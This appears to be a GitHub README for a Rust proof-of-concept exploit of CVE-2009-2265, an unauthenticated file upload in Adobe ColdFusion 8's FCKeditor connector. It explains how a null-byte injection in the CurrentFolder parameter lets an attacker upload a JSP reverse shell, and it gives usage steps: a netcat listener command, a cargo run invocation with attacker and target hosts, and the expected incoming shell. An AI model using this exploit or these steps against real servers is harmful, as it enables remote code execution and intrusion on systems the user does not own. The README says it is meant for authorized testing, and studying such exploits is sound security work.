nika0x38/cve-2009-2265A Rust implementation of the POC for the CVE-2009-2265 exploit, targeting Adobe ColdFusion 8.
A Rust implementation of the POC for the CVE-2009-2265 exploit, targeting Adobe ColdFusion 8.
This vulnerability allows an unauthenticated attacker to upload arbitrary files to a web-accessible directory on a server running Adobe ColdFusion 8, leading to Remote Code Execution (RCE).
upload.cfm connectorCurrentFolderThe vulnerability exists in the file upload functionality of the FCKeditor component located at /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm. The CurrentFolder HTTP GET parameter is not properly sanitized, allowing for a null byte (%00) injection attack.
By crafting a request where the CurrentFolder parameter is set to /<filename>.jsp%00, an attacker can bypass the server-side extension checks. The underlying system (often Java) interprets the null byte as the end of the string, treating the filename as <filename>.jsp. This allows the attacker to upload a malicious JSP file. The server saves this file to a publicly accessible directory (/userfiles/file/), from where it can be executed by simply accessing its URL.
This POC automates the process by generating a JSP reverse shell payload, uploading it using the null byte vulnerability, and triggering it to gain a shell on the target system.
Follow these steps to compile and run the exploit.
Before running the exploit, start a listener on your local machine to catch the incoming reverse shell.
nc -lnvp <attacker-port>
Execute the compiled binary, providing your local host/port for the reverse shell and the remote target's host/port.
cargo run -- --lhost <LHOST> --lport <LPORT> --rhost <RHOST> --rport <RPORT>
After the script triggers the payload, you should receive a connection on your Netcat listener.
This tool is for educational and authorized penetration testing purposes only. Use responsibly and only on systems you own or have explicit permission to.